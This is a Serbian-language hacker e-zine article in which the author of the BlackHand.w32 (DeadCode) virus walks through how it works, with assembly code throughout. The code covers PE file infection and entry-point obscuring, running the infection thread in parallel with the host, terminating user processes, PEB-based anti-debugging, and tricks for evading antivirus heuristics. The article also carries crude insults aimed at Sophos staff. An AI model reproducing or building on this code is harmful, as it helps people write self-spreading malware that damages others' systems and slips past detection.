
                              ...................
                        ...::: phearless zine #2 :::...
		      
...............>---[ BlackHand.w32(DeadCode.a/b) Analysys ]---<...............

............................>---[ by deroko ]---<.............................
                                                       deroko[at]gmail[dot]com
                                                  http://deroko.headcoders.net
							  

Ovako prvo i najvazenije oko ovog virusa je da nije politicke sadrzine iliti 
nesto slicno kao sto su oni debili iz Sophosa rekli (kako Sophos zastupnici iz 
Novog Sada -> pusite mi kurac, tako i ona debela svinjcuga iz Sophosa)

Ogradjivanje od krivicnog gonjenja :
Ovako buduci da je u nas pocela hajka na "kiber kriminal" moram da i tom delu 
posvetim par reci. Ovo sto prezentujem ovde je samo plod malog istrazivanja koje
sam sproveo NA SVOM KOMPJUTERU i zelim da podelim svoje znanje sa ostalima. Ako 
neko znanje koje se pominje u ovom tekstu iskoristi za nanosenje stete drugom, 
ja za to ne mogu biti odgovoran. SVAKO MORA BITI ODGOVORAN SAMO ZA SVOJE POSTUPKE. 

Ok to je to da krenemo na pravu stvar.

1. Uvod
2. Struktura virusa
       - Infekcija
       - Multi-threading
       - Gasenje svih procesa
       - ANTI-DEBUG
       - ANTI-EMU
       - ANTI-HEURISTIK
       - EPO
3. Zahvalnice/Pohvalnice
4. Izvori


1. Uvod
~~~~~~~
Virus BlackHand.w32 je solidan virus koji koristi neke anti-emu i anti-debug 
tehnike o kojima cu pricati u njihovom odeljku. Takodje je, mozda, medju prvim
virusima koji omogucava paralelno izvrsavanje inficiranog programa i samog virusa.
Koristi dosta naprednu tehniku EPO o kojoj ce takodje biti reci u ovom tekstu. 
Virus je poslat AV kompanijama tokom 8-9 Februara 2005 godine kako bi izradili 
definicije. Najbrzi je po tom pitanju bio F-Secure koji je jasno dao naziv virusu
DeadCode. Medjutim ovo ime proizilazi iz samog virusa jer on koristi 0xdeadc0de 
da oznaci inficirani fajl sto je i jedno od mogucih imena tog virusa i drago mi 
je sto je virus dobio naziv po sebi, a ne po nekom glupom imenu. Ovo ime skovano
je od strane F-Secure, tako da je potpuno netacna tvrdnja koju iznosi Sophos 
(pusite ga Sophosari) :
       
"Generally the experts in our laboratories don't like to use the same name that 
the virus writer may have wanted for his malware," explained Cluley. "After all,
why should we feed their egos by using the name they've embedded in their 
malicious code?"       
http://www.sophos.com/virusinfo/articles/deadcode.html
       
Smesno zar ne? Dizu mi ego? Digli su mi kurac :) Kao oni izmislili ime? Debili,
Sophosari, to ime je dao F-Secure, a ne oni... rofl, kako neko moze da bude tako
glup. Ali zahvaljujuci Sophosu za ovaj se virus culo. Hara Mrezom, jaooooooo, 
mislim stvarno, toliko su jadni da im ne bi dao ni da mi ga puse.
O tome mogu samo da sanjaju.
       
No jebes Sophos, debili ostaju debili, idemo mi na virus... i prelazimo na glavu
2 ovog teksta

2. Struktura virusa
~~~~~~~~~~~~~~~~~~~
Pre nego sto pocnem sa izlaganjem, ja cu ovde prvo opisati strukturu celog virusa,
a posle cu uz odlomke istog da vam prikazem i kako on stvarno radi. 
Naime sam virus korisiti EPO za redirekciju na samoga sebe. Posto udjemo u virus, 
osnovno je da ga dekriptujemo pomocu kript kljuceva, u mom slucaju ja koristim
prostu enkripciju sa 2 kljuca i malo negiranja bitova i rotacijom istih. Veoma 
prosta enkripcija da se napravi, jos prostija da se dekriptuje kad imate kljuc.
No posto virus biva dekriptovan krecemo sa izvrsavanjem istog.
Prvi i osnovni zadatak jeste da nadjemo kernel32.dll base za koji postoji vise
tehnika iz koga cemo posle pribaviti ostale osnovne procedure za rad sa virusom.
Posle nalazenja kernel32.dll base adrese krecemo u trazenje svih API adresa koje 
nam trebaju za virus. Ovde postoje 3 moguca nacina trazenja. Ilicete pisati svoj
GetProcAddress i svaku tako traziti, ili cete prvo naci GetProcAddress pa preko
nje traziti ostale APIje ili cete napraviti CRC32 ili bilo koji drugi checksum i
napisati svoju GetProcAddress koja ce traziti APIje preko CRC32 ili drugog 
checksuma. U blackhand.w32 ja sam se opredelio za prvo resenje jer su APIji 
kriptovani zajedno sa imenom virusa, a i lakse mi je bilo prilikom debugovanja 
da tako uradim i tako je ostalo i u finalnoj verziji ovog virusa.
Posle svega ovoga blackhand.w32 ide u multi threading koji je ujedno i 
najzanimljiviji deo ovog virusa, i zbog cega i pisem ovaj tekst. Multi-threading 
je paralelno izvrsavanje samog virusa i naseg domacina. Tako dok vi surfujete 
netom sa IE, recimo, on istovremeno inficira i ostale fajlove, normalno oseca se
zastoj u radu, ali korisnik moze posumnjati da se radi o recimo kocenju sistema
usled cestog instaliranja/deinstaliranja raznoraznog software-a. Virus inficira
fajlove u trenutnom direktorijumu i svim direktirjumima u tom direktorijumu. 
Tako da ako ga pokrenete u C:\ sve ce biti inficirano osim direktorijuma koji 
pocinju sa WIND(windows, ako ima WINNT dir, jebiga) i izbegava fajl ntoskrnl.exe 
jer se moze naci u drugim direktorijumima ako ste pokusali reversati ga sa IDA recimo.
Posle toga virus ceka da se infekcija i domacin zavrse i stampa lepu poruku koja
se moze videti na Sophosovom sajtu sa punim svojim imenom. BlackHand.w32, w32 u
nazivu virusa je bezveze stavljeno jer je virus radjen da inficira samo Win2k i 
WinXP :) Predjimo na stvar ->

- Infekcija
~~~~~~~~~~~

Infekcija je najvazniji deo virusa, blackhand.w32 je u test verziji inficirao 
tako sto se ubacivao u PE Header i odatle se pravi vazan. Medjutim buduci da je 
u PE Header moguce staviti odredjenu velicinu virusa (manji od 4096byte - 
NT_IMAGE_HEADER - SECTION_HEADER) koji mogu da variraju od programa do programa, 
a blackhand.w32 je u medjuvremenu narastao, odlucio sam da kod ubacim u poslednji 
section kao i vecina virusa. Medjutim i tu ima caka, recimo, mozete proveriti da 
li je .rsrc section poslednji, ako jeste pomerite ga za velicinu virusa unazad, 
promenite podatke u NT_OptionalHeader-u i podesite DataDirecotry koji pokazuje na 
rsrc da pokazuje na novu lokaciju, isto treba uraditi i sa Sectionom koji pokazuju 
na .rsrc section. Posto moj prc-ko.xp koristi istu tehniku, i buduci da sam tamo
prikazao kako radi ta infekcija, ovde cu to preskociti. Ukazacu samo na neke stvari
koje blackhand.w32 radi tokom infekcije.
1. BlackHand.w32 proverava da li je fajl koji otvara vec inficiran. 
Za to ja korisitim
              signature            equ 0deadc0deh
Naime evo i kod koji proverava da li je fajl zarazen (40h je velicina DOS Headera)
is_infected:
                     mov eax, signature
                     mov ebx, [ebp.memptr]
                     add ebx, 40h
                     cmp dword ptr[ebx], signature
                     je __ret_is_infected
                     mov eax, valid
__ret_is_infected:
                     ret              
Moze lepse i krace recimo cmp dword ptr[ebx+40h], signature ali nema veze, bitno
je da radi pri cemu je [ebp] adresa unutrasnje strukture koju koristim za cuvanje
vaznih podataka u okviru samog virusa.
2. Ako fajl nije zarazen, oznacimo ga zarazenim i pocnimo sa infekcijom:
       
                     mov edi, [ebp.memptr]
                     mov ebx, edi
                     add edi, 40h
                     mov dword ptr[edi], signature
Pri cemu ja ebx koristim kasnije kao pocetak PE Headera u celom virusu.
       
3. Neophodno je naci entry-point kako bi mogao da izvrsim EPO, tj. treba mi tacno 
mesto EntryPointa u fajlu sacuvanom na disku, a to cini ovaj kod:
                     add ebx, dword ptr[ebx.MZ_lfanew]
                     mov [ebp.nthdr], ebx
                     mov esi, [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
                     movzx ecx, [ebx.NT_FileHeader.FH_NumberOfSections]
                     add ebx, size IMAGE_NT_HEADERS
__find_entry:
                     cmp     esi ,[ebx].SH_VirtualAddress
                     jb      __next_section
                     mov     edi, [ebx].SH_VirtualAddress
                     add     edi, [ebx].SH_SizeOfRawData
                     cmp     edi, esi
                     ja      __copy_host 
__next_section:
                     add     ebx, size IMAGE_SECTION_HEADER
                     loop    __find_entry
__copy_host: 
       
Naime ->
   add ebx, dword ptr[ebx.MZ_lfanew] ce nam dati offset PE headera u fajlu.
   add ebx, dword ptr[ebx+3ch] moze isto, ali sam hteo bas da iskoristim do detalja
   strukture koje koristi tasm :)
               
Pre ulaska u ovu kruznu petlju, ebx pokazuje na prvi section, ecx ima broj 
sectiona, dok esi ima RVA od EntryPointa.
Zatim prosto poredimo da li je RVA sectiona manja ili jednaka sa entry point, ako
jeste gledamo da li je kraj sectiona veci od RVA entrypointa, ako jeste nasli
smo nas section. Drugim recima to mu dodje ovako uprosceno u C:

               for (i=0; i < ecx, i++){
               if    ( [ebx.SH_VirtualAddress] <= esi && esi < ([ebx.SH_VirtualAddress]+[ebx.SH_VirtualSize])) 
                            imamo section
               else
                     add ebx, size IMAGE_SECTION_HEADER
               }                
               
Sad kad znamo gde i u kom sectionu je EntryPoint mozemo prosto od EntryPointa
oduzeti Virtuelnu adresu i na to dodati SH_PointerToRawData kako bi dobili tacno
mesto EntryPointa u fajlu.
               
                     sub esi, [ebx.SH_VirtualAddress]
                     add esi, [ebx.SH_PointerToRawData]
                     add esi, [ebp.memptr]
pri cemu je [ebp.memptr] pocetak mapiranog fajla u memoriji.
               
Dakle to je to. Nalazenje sectiona, EPO itd... za dalji tok infekcije pogledajte 
kod prc-ko.xp ili pogledajte poslednji deo mog teksta o prc-ko.xp koji sam isto 
napisao za drugo izdanje phearless zine #2. Dalje se necu zadrzavati ovde, jer 
imate gomilu tekstova na netu kako napisati virus.

- Multi-threading
~~~~~~~~~~~~~~~~~
Najlepsa novina koju ovaj virus donosi je paralelno izvrsavanje virusa i inficiranog 
programa. Za to su nam neophodne 3 funkcije. CreateThread, WaitForMultipleObjects 
i CreateProcessW ili A u zavisnosti od tehnike koju primenjujete za nalazenje 
putanje inficiranog programa.
Evo kako to izgleda u samom virusu:
                     ;----------------------------------------------
                     ;Create_infection_thread
                     ;----------------------------------------------
                     mov eax, [ebp.viristart]
                     add eax, infection_thread - start
                     lea esi, [ebp.dummy]
		
                     call [ebp.pCreateThread], null, stacksize, eax, ebp, null, esi
                     mov [ebp.wfmo1], eax
		
                     ;-----------------------------------------------
                     ;Start new infected process
                     ;-----------------------------------------------
                     call [ebp.pVirtualAlloc], null, size PROCESS_STRUCT, MEM_COMMIT, PAGE_READWRITE
                     mov [ebp.pinfo], eax
                     ;---------------------------------------------------------------
                     ;Get path to infected progy eg (C:\Program Files\IE\IEXPLOR.EXE)
                     ;---------------------------------------------------------------
                     mov eax, dword ptr FS:[30h]
                     mov eax, dword ptr[eax+10h]
                     mov eax, dword ptr[eax+3ch] ;<---- eax has path!!
                     mov esi, [ebp.pinfo]       ;<---- Process INFO STRUCT
                     lea edi, [esi.si_cb]
                     ;---------------------------------------------------------
                     ;Run infected progy but suspended now so
                     ;I can write old data to its entry pooint and to resume it
                     ;---------------------------------------------------------
                     call [ebp.pCreateProcessW], null, eax, null, null, true, CREATE_SUSPENDED, \
																			null, null, edi, esi
                     test eax, eax
                     jz __Exit_nice_and_clean
                     push [esi.pi_hThread]
                     pop  [ebp.wfmo2]
					
                     mov eax, dword ptr FS:[30h]
                     mov eax, dword ptr[eax+8]
                     mov ebx, eax
                     add ebx, dword ptr[ebx.MZ_lfanew]
                     mov ebx, [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
                     add ebx, eax
                     mov ecx, [ebp.viristart]
                     add ecx, old_host- start
                     lea eax, [ebp.dummy]
                     call [ebp.pWriteProcessMemory], [esi.pi_hProcess], ebx, ecx, host_size, eax
                     call [ebp.pResumeThread], [esi.pi_hThread]
                     lea  esi, [ebp.wfmo1]
                     call [ebp.pWaitForMultipleObjects], 2, esi, true, INFINITE 
                     call [ebp.pVirtualFree], [ebp.pinfo], size PROCESS_STRUCT, MEM_DECOMMIT	  

Naime prvo kreiramo novi Thread za infekciju preko CreateThread i pocinjemo sa 
procedurom koja trazi fajlove. Trik je ovde da moramo toj proceduri predati ebp
kao argument preko CreateThread jer je ebp neophodan u ovom virusu kao pointer na 
strukturu koju koristim tokom virusa. Tu se kriju razne stvari koje ovaj virus 
koristi tokom svog izvrsavanja, kao sto su API adrese, globalne promenljive, itd 
itd...Takodje ta struktura ima i dve promenljive a to su wfmo1 i wfmo2 koje su 
veoooma bitne za WaitForMultipleObjects. Kao sto se iz koda vidi u wfmo1 ide 
Handle od novo nastalog Threada... Tako smo kreirali jedan thread koji je zaduzen
za infekciju. Sad moramo napraviti CreateThread za inficirani proces. Najvise 
problema po ovom pitanju sam imao sa prozorima, jer ako kreiramo Thread i pokrene
se inficirani program virus ce lepo raditi u pozadini i zavrsiti svoj rad, ali 
problem nastaje kad korisnik slucajno startuje program, IE recimo, i izadje, ceo
process se gasi i nas virus se isto gasi bez zavrsenog posla. Tu sam morao da 
predjem na drugu tehniku, a to je da kreiram proces koji ce izvrsiti inficirani 
program i koji cemo unutar virusa cekati sa WaitForMultipleObjects. Problem resen, 
koristicu CreateProcess (A ili W) za startovanje novog procesa koji cu potom cekati
ali problem je kako naci path do inficiranog procea koji cu predati CreateProcessW
ili A...Za ovaj trik trebamo zahvaliti Ratter-u iz 29a koji je prvi poceo sa 
koriscenjem PEB u virusima. Takodje moze se koristiti i GetCommandLine api posto
ako se ne varam on daje punu putanju do inficiranog progama. No kako bilo odlucio
sam se za PEB/_RTL_USER_PROCESS_PARAMETERS Na FS:[30h] nalazi se PEB (Process 
Environment Block) koji sadrzi mnogo sto sta interesantno za nas kao sto su adrese 
dll-ova, da li je program debuggovan, adresa naseg programa itd itd... ali za nas
je najbitniji pointer na strukturu _RTL_USER_PROCESS_PARAMETERS koja na offsetu 
0x38 ima sledeceg clana :
       ...
       +0x38         ImagePathName : _UNICODE_STRING
       +0x40         CommandLine   : _UNICODE_STRING
       ...
       Dakle nama je interesantan offset +0x38 -> UNICODE_STRING struktura :)
       Ona izgleda ovako :
       UNICODE_STRING STRUCT
              len           dw     ?
              maxlen        dw     ?
              unicodestr    dd     ?
       UNICODE_STRUCT ENDS
       
Dakle 0x38 + 4 = 0x3c i tu se nalazi pointer na unicode string do naseg programa.
Dakle ->        
                     mov eax, dword ptr FS:[30h]  ; Idemo u PEB
                     mov eax, dword ptr[eax+10h]  ; Idemo u _RTL_USER_PROCESS_PARAMETERS
                     mov eax, dword ptr[eax+3ch]  ; u eax imamo adresu programa
       
Prosto zar ne? veoma lepo i lako. Ovo radi na win2k i XP, za 9x/me nemam pojma 
kako im izgleda TEB/PEB tako da najverovatnije ovo nece ni raditi na njima.
       
Posle mozemo prosto da pokrenemo inficirani program preko CreateProcessW ali 
moramo da ga pokrenemo sa CREATE_SUSPENDED kako bi mogli da uklonimo EPO i stavimo
pravi kod tamo. Dakle -> Imamo prcess_handle dobijen preko CreateProcessW u 
PRCOESS_INFOMRATION stukturu i sad cemo koristiti WriteProcessMemory da uklonimo
nas EPO, posle toga idemo lako i jasno : ResumeThread(pinfo.hThread) i program 
je pokrenut, posto smo wfmo1 i wfmo2 popunili sa thread handlovima od threada 
koji inficira i glavnog threada procesa koji smo startovali mozemo nonsarlantno 
da pozovemo WaitForMultipleObjects i da sacekamo oba objekta (sve je na windowsu
objekt) da zavrse sa radom :
       ...
       wfmo1         dd     ?
       wfmo2         dd     ?
       ...
                     lea  esi, [ebp.wfmo1]
                     call [ebp.pWaitForMultipleObjects], 2, esi, true, INFINITE
       Ovo je sintaksa doticne funkcije :
       DWORD WaitForMultipleObjects(

           DWORD nCount,	              // number of handles in the object handle array 
           CONST HANDLE *lpHandles,	// pointer to the object-handle array 
           BOOL bWaitAll,	              // wait flag 
           DWORD dwMilliseconds 	       // time-out interval in milliseconds 
       );       
       
Dakle prvi argument je 2 jer cekamo 2 objekta, drugi argument je pointer na niz
koji sadrzi handlove od objekata koje cekamo, Treci argument moze biti 0 ili 1 
(false/true) i znaci da li cekamo sve objekte ili cekamo da bilo koji zavrsi sa 
radom. Posto cekamo oba ovde ide true, a cetvrti argument znaci koliko milisecundi 
da cekamo. Ako stavimo -1 iliti (0FFFFFFFFh iliti INFINITE) ovaj argument je 
ignorisan i znaci da cekamo dok ne zavrse sa radom.
       
E to je Multi-Threading, paralelna egzekucija virusa i inficiranog programa.


- Gasenje svih procesa
~~~~~~~~~~~~~~~~~~~~~~
Ovaj deo ide ovde zato sto u originalnom virusu upravo i ide posle zavresnog rada
virusa i inficiranog programa. Posto virus pokaze svoju poruku, sledi ovaj deo.
Naime gasenje svih programa je u nacelu lako, ali ne zelimo da pogasimo sve procese 
koji postoje na sistemu. U test verziji sam ignorisao user/system procese i sve 
ih gasio, tako da mi se samo odjednom pojavilo :
       
"System received blabla ... will terminate, you have 60 seconds to save your data"       
i odbrojavanje. Ahhh koji smor, ovaj moj windows, treba mu 10min da se digne, 
fujjj, bas sam se izbedacio, e tad mi Sundance kaze "Ludace uzmi VMware", vmware?
wtf? jojjjj kad sam posle skapirao sta je mojoj sreci nije bilo kraja :) Sundance 
legendo :)Naime posle ovog mog iskustva sam se pitao kako da ubijem samo procese
koje je pokrenuo korisnik. Moje resenje je ne tako elegantno, ali radi, a to je
da vidim da li program ima istu base_adresu kao i sam inficirani program, buduci
da sam iskljucio mogucnost da ce neki system proces da bude inficiran jer sam 
nastojao da zaobidjem WIND direktorijume (opet kazem jebiga ako neko ima WINNT sysdir).
Algoritam je sledeci, i opet idemo u PEB, zar to nije magicna struktura :) 
    - Koristimo EnumProcesses iz psapi.dll da nadjemo sve Process IDove
    - Nadjimo Process ID naseg procesa kako nebi njega slucajno ugasili
    - Otvorimo saki process sa OpenProcess
    - Uzmimo adresu gde se cuva ImageBaseAddress
    - Koristimo ReadProcessMemory da dobijemo ImageBaseAddress od drugog procesa
    - Uporedimo dobijenu ImageBaseAddress sa nasim procesom
        - ako je isto -> gasimo process, ako nije -> ne diraj ga :)
Kod za to je sledeci:
enum_processes:
                     @pushsz <"psapi.dll">
                     call [ebp.pLoadLibraryA], ebx
                     test eax, eax
                     jz __ret_enum_processes
                     mov [ebp.psapibase], eax
                     @pushsz ebx, <"EnumProcesses">
                     call GetProc, eax, ebx
                     mov [ebp.pEnumProcesses], eax
                     call [ebp.pVirtualAlloc], null, 1024, MEM_COMMIT, PAGE_READWRITE
                     test eax, eax
                     jz __ret_enum_processes
                     mov [ebp.procBuff], eax
                     lea esi, [ebp.dummy]
                     call [ebp.pEnumProcesses], eax, 1024, esi
                     test eax, eax
                     jz __ret_enum_processes
                     xor edx, edx
                     mov ecx, 4
                     mov eax, [ebp.dummy]
                     div ecx
                     mov ecx, eax     
                     mov ebx, dword ptr FS:[20h]       ;<------our processID (don't wana terminate this process)
__loop_processes:
                     mov eax, [ebp.procBuff]
                     mov eax, dword ptr[eax+ecx*4]       ;<------processID in eax
                     push ebx
                     push ecx
                     cmp eax, ebx
                     je __next_process
                     call [ebp.pOpenProcess], PROCESS_TERMINATE or PROCESS_VM_READ, null,  eax
                     test eax, eax
                     jz __next_process
                     mov edx, dword ptr FS:[30h]
                     add edx, 8
                     lea esi, [ebp.dummy]
                     lea edi, [ebp.temp]
                     push eax
                     call [ebp.pReadProcessMemory], eax, edx, esi, 4, edi
                     pop eax
                     mov ebx, [ebp.currbase]
                     cmp ebx, [ebp.dummy]
                     jne __next_process		  
                     call [ebp.pTerminateProcess], eax, null   ;Exit code for killed process
__next_process:
                     pop ecx	
                     pop ebx				
                     loop __loop_processes	
                     call [ebp.pVirtualFree], [ebp.procBuff], 1024, MEM_DECOMMIT				
__ret_enum_processes:
                     ret       

Kako odvratan kod, ali radi :) Ko ga jebe dok radi :) Idemo polako da obasjnimo. 
Prvi deo koda je isuvise lak :
Ucitavamo psapi.dll i nalazimo EnmuProcesses u njemu.
EnumProcesses prima 3 argumenta i vraca true/false :
       1 -> buffer u koji se smetaju PIDovi
       2 -> velicina buffera
       3 -> pointer na promenljivu koja vraca (broj procesa * 4), iliti kaze nam
            koliki deo buffera je popunje, u slucaju da funkcija padne (vrati 
            false) ova promenljiva ce nam reci koliko treba da bude buffer da bi
            funkcija uspela. 
       
       Zatim moramo naci PID naseg procesa kako njega ne bi ugasili slucajno, 
       i idemo u TEB. Na offsetu 20h u TEB nalazi se sledeca struktura:
       kd> dt nt!_TEB
       +0x000 NtTib            : _NT_TIB
       +0x01c EnvironmentPointer : Ptr32 Void
       +0x020 ClientId         : _CLIENT_ID  
       kd> dt nt!_CLIENT_ID
       +0x000 UniqueProcess    : Ptr32 Void
       +0x004 UniqueThread     : Ptr32 Void
    
       A IDA za GetCurrentProcessID kaze vako :
       .text:77E768E9 _GetCurrentProcessId@0 proc near        ; CODE XREF: UnhandledExceptionFilter(x)+364p
       .text:77E768E9                 mov     eax, large fs:18h
       .text:77E768EF                 mov     eax, [eax+20h]
       .text:77E768F2                 retn
       .text:77E768F2 _GetCurrentProcessId@0 endp
       
Dakle UniqueProcess (clan _CLIENT_ID strukture) NIJE Ptr32 Void, vec je rec o 
process ID koji se tu krije i tako se dobija Process ID trenutnog procesa.
       
              mov    ebx, dword ptr FS:[20h] ; Procces ID
              mov    ebx, dword ptr FS:[24h] ; Thread ID
              
Prosto (samo sto mi Thread ID ne treba u kodu ali eto da vidite i kako se on 
dobija ukratko)

                     xor edx, edx
                     mov ecx, 4
                     mov eax, [ebp.dummy]
                     div ecx
                     mov ecx, eax     
        
Ovo je deo koda koji ce nam reci koliko PIDova ima u bufferu, moze i krace.
mov   ecx, [ebp.dummy]
shr   ecx, 2
isto kao i da delimo sa 4, ali nekako sam vise voleo da mi ceo kod bude lako
citljiv (mada je i ovo jebeno citljivo) ali nema veze, kako je bilo u pocetku 
koda tako je i na kraju.
       
No idemo dalje, red je da udjemo u jedan loop i da dobijemo prcess handlove sa 
OpenProcess i da proverimo da li otvoreni process ima isti base_address kao i 
nas virus.         
               
__loop_processes:
                     mov eax, [ebp.procBuff]
                     mov eax, dword ptr[eax+ecx*4]       ;<------processID in eax
                     push ebx
                     push ecx
                     cmp eax, ebx                        ; Proveravamo da li je PID == nasem PID-u
                     je __next_process                   ; jeste? idemo na sledeci process
                     call [ebp.pOpenProcess], PROCESS_TERMINATE or PROCESS_VM_READ, null,  eax
                     test eax, eax
                     jz __next_process                   ; Ako ne mozemo da otovrimo ovaj process
                                                         ; idemo na sledeci
                     mov edx, dword ptr FS:[30h]         
                     add edx, 8                          ; edx pokazuje na adresu gde se cuva adresa
                                                         ; image base
                     lea esi, [ebp.dummy]                ; dummy i temp su pormenljive koje koristim
                     lea edi, [ebp.temp]                 ; u celom kodu 
                     push eax                            ; sacuvajmo handle od otvorenog procesa
                     call [ebp.pReadProcessMemory], eax, edx, esi, 4, edi
                     pop eax                             ;vratimo ga nazad
                     mov ebx, [ebp.currbase]             
                     cmp ebx, [ebp.dummy]                ;da li su base adrese iste???
                     jne __next_process		         ;nisu :( idemo na sledeci process
                                                         ;jesu : ugasimo jebeni process
                     call [ebp.pTerminateProcess], eax, null   ;Gasi, gasi, gasi, busi, busi, busi
                                                         
__next_process:
                     pop ecx	
                     pop ebx				
                     loop __loop_processes               ;i ajmo sve iznova za sledeci process
                     
Ovu tehniku sam hteo da koristim kako bi moj virus inficirao programe koji su 
aktivni u memoriji ako sto bi sa VirtualAllocEx i CreateRemoteThread ubacivao 
sebe i inficirao samo fajlove u direktorijumu procesa koji trci u memoriji. Ali 
sam odustao, jer bi to bilo isuvise prepravljanja za virus, a iskreno mrzelo me
je da radim. No skelet za to cete mocu naci uz ovaj tekst pa ko voli nek izvoli 
(skelet.asm) To je to, pogasili smo sve procese, i mozemo mirne duse izaci iz 
virusa sa ExitProcess. Jos jedan dokaz da su AV kompanije glupe i da koriste 
emulatore za testiranje virusa je upravo cinjenica da nisu ni provalili da posle
MessageBoxA-a ide gasenje procesa, ali ko ih jebe, ovu sophosu da im javite :)
       
- ANTI-DEBUG
~~~~~~~~~~~~
Anti-debug tehnike se sastoje u onemogucavanju da se kod prati kroz debugger,
postoje razne tehnike, int 3 handlovanje, proveravanje za SoftICE, itd itd... 
(o tome ima dosta clanaka po netu), medjutim ja cu ovde izloziti prostu ANTI-DEBUG 
tehniku koju koristim u blackhand.w32. Naime ukoliko je proces pracen kroz 
debugger u PEB ce to biti oznaceno. Dakle mozemo prosto proveriti preko PEB da
li smo debugovani.
       
       
       kd> dt nt!_peb
       nt!_PEB
       +0x000 InheritedAddressSpace : UChar
       +0x001 ReadImageFileExecOptions : UChar
       +0x002 BeingDebugged    : UChar
       +0x003 SpareBool        : UChar
       +0x004 Mutant           : Ptr32 Void
       +0x008 ImageBaseAddress : Ptr32 Void
       +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
       
Na offsetu 2 PEBa nalazi se char BeingDebugged, ukoliko je 1 u debuggeru smo, 
ukoliko je 0, nismo. Medjutim, za ovu tehniku nisam siguran da ce da radi za 
SoftICE jer iskreno njega nikad nisam koristio ali po recima ljudi koji jesu, 
ovo nece raditi. Prema tome, imamo prostu anti-debug tehniku koja u mom kodu 
izgleda ovako:
       
       __crypted:
                            mov edx, eax
                            call n00k_debuggie
       ...
       n00k_debuggie:
                            pushad
                            mov eax, dword ptr FS:[30h]
                            movzx ebx, byte ptr[eax+2]
                            test ebx, ebx
                            jz __not_debugged
                            push signature
                            ret
       __not_debugged:
                            popad
                            ret
                            
U ebx ide vrednost koja se cuva u PEB/BeingDebugged, zatim proveravamo da li je 
ebx == 0, ako jeste idemo da povratimo sve registre i prosto se vracamo na mesto
poziva, u suprotnom? na stack guramo signature (0deadc0deh) i pozivamo ret sto 
ce izvrsavanje koda prebaciti na adresu 0deadc0deh sto ce prouzrokovati padanje 
programa :) Pratite ovo kroz olly i gledajte kako se vas EIP menja u 
DEADC0DE
       
                     
- ANTI-EMU
~~~~~~~~~~
Tehnika koja se koristi kako bi se zeznuli emulatori koji nastoje da skapiraju 
sta vas virus radi. Doduse ovde spada i vmware, ali moramo gledati to drugacije,
kao emulator koji koristi AV ne bi li putem heuristike nasao nas virus. Kako to 
izbeci, pitate se? Pa ovako kolega Sundance je to podrucje veoma dobro istrazio,
ali ja moram reci da je ubedljivo najaca Anti-Emu tehnika koriscenje SEH i 
CreateThread. Emulator ne moze da prati CreateThread, a moze se lako zakucati 
ako naleti na neku ilegalnu instrukciju. Zato mnogi virus koriste SEH. Dakle
anti-emu tehnika ovog virusa je multi threading i njegov EPO koji je po svemu 
sudeci specifican.

- ANTI-HEURISTIK
~~~~~~~~~~~~~~~~
Heuristika je napredna tehnika AV software koja nastoji da provali sta virus 
radi i da na taj nacin prepozna maliciozni kod. *kako sam ovo lepo reko* Ovaj 
odeljak o heuristici se mora podeliti na nekoliko delova jer cu ovde opisati kako 
sam ja uspeo da zeznem heuristiku.
       1. AH moje muke
       2. AH 1. nacin
       3. AH 2. nacin
       4. AH 3. nacin

AH moje muke
~~~~~~~~~~~~
Prvu verziju mog blackhanda, koju sam testirao sa svojim Symantec AV software, 
Corporate Editin, nije nasao, takodje sam kod caleta na kompjuteru testirao isti
sa KAVom (najnovji update tada bese) i nista, ko da ne postoji. Medjutim, Sundance 
posle testiranja istog nadje da je ovaj vidljiv za NOD32,
(Sundance tebe cu u Reference da stavim :), a ne u Zahvalnice/Pohvalnice :))) ),
eto ti ga na, NOD32 ga jedini nadje preko heuristike... jao majko, skinem ja NOD32 
i poce moje testiranje.

AH 1. nacin
~~~~~~~~~~~
Naime jedino od pravila Heuristike do kog sam dosao je nacin nalazenje 
delta-offseta virusa. Standardna tehnika je preko jmp/call/pop instrukcija ili
samo call/pop 
Primer:
                            jmp  __calme
              __jmpme:      pop    ebx
              ...        
              __callme:     call __jmpme
              
              ili ovako nesto
                            call   __callme
              __callme:     pop    ebx
Medjutim ovako nesto se da prepoznati kao virus, zato sam ja pre pop prvo ubacivao
gomilu do-nothing djubreta kao sto je ovo:
                            jmp  __calme
              __jmpme:    
                            @garbage  
                            pop    ebx
              ...        
              __callme:     call __jmpme

              @garbage      MACRO
                            nop
                            nop
                            push eax
                            push ebx
                            sub eax, eax
                            mov ebx, eax
                            pop ebx
                            pop eax
                            nop
                            nop
              endm
              
i to je fino radilo, NOD32 je smanjio svoju detekciju virusa za nekih 30-40%, 
ali sta sa onim ostatkom gde ga je detektovao.

AH 2. nacin
~~~~~~~~~~~
Posle malo eksperimentisanja i kapiranja heuristike, shvatih da se se proverava 
poslednji section uvek za virusom. E tu sam pribegao jednom glupom resenju, koje
nije nimalo stealth ali da ga jebem radilo je, VIRUS je bio nevidljiv za AV software
Trik -> Napraviti dummy section kao poslednji. Medjutim ovo nije toliko lako, 
mislim jeste, lako je, ali morate da pazite na Bound Image Data koji postoji kod
nekih programa, a krije se tacno iza PE Headera i svih Sectiona. Dobra strana sa 
Image Bound-om je da se on prosto moze eliminisati iz DataDirectory-ja koji 
pokazuje na njega a krije se u NT_OptionalHeader-u.
Kod za to je sledeci (ovi pisem iz glave jer moj virus ovu tehniku ne koristi vise)
       memptr -> pointer na mapirani fajl
       
       mov    ebx, [ebp.memptr]
       add    ebx, dword ptr[ebx+3ch] ;ili [ebx.MZ_lfanew]
       ; da obrisemo BoundImport ako ga ima
       mov    [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_BoundImport.DD_VirtualAddress], 0
       mov    [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_BoundImport.DD_Size], 0
       xor    edx, edx
       add    eax, size IMAGE_SECTION_HEADERS
       movzx  ecx, [ebx.NT_FileHeader.FH_NumberOfSections]
       mul    ecx
       mov    eax, ecx
       add    eax, ebx
       add    eax, size  IMAGE_NT_HEADERS
       
i eax sad pokazuje na mesto gde cemo dodati poslednji section, kod za to bi bio ovakav
       mov    dword ptr [eax],  'ored'
       mov    word ptr [eax+4], 'ok'
       mov    word ptr [eax+6],  null
       Dakle ocemo da ime novog sectiona bude 'deroko'          
       Zatim pravimo SH_sizeOfRawData = 0 i SH_PointerToRawData = 0
       RVA sectiona postavljamo na kraj imaga i pravimo VirtualSize na 1000h (SectionAlignment)
       mov    [eax.SH_SizeOfRawData], 0
       mov    [eax.SH_PointerToRawData], 0
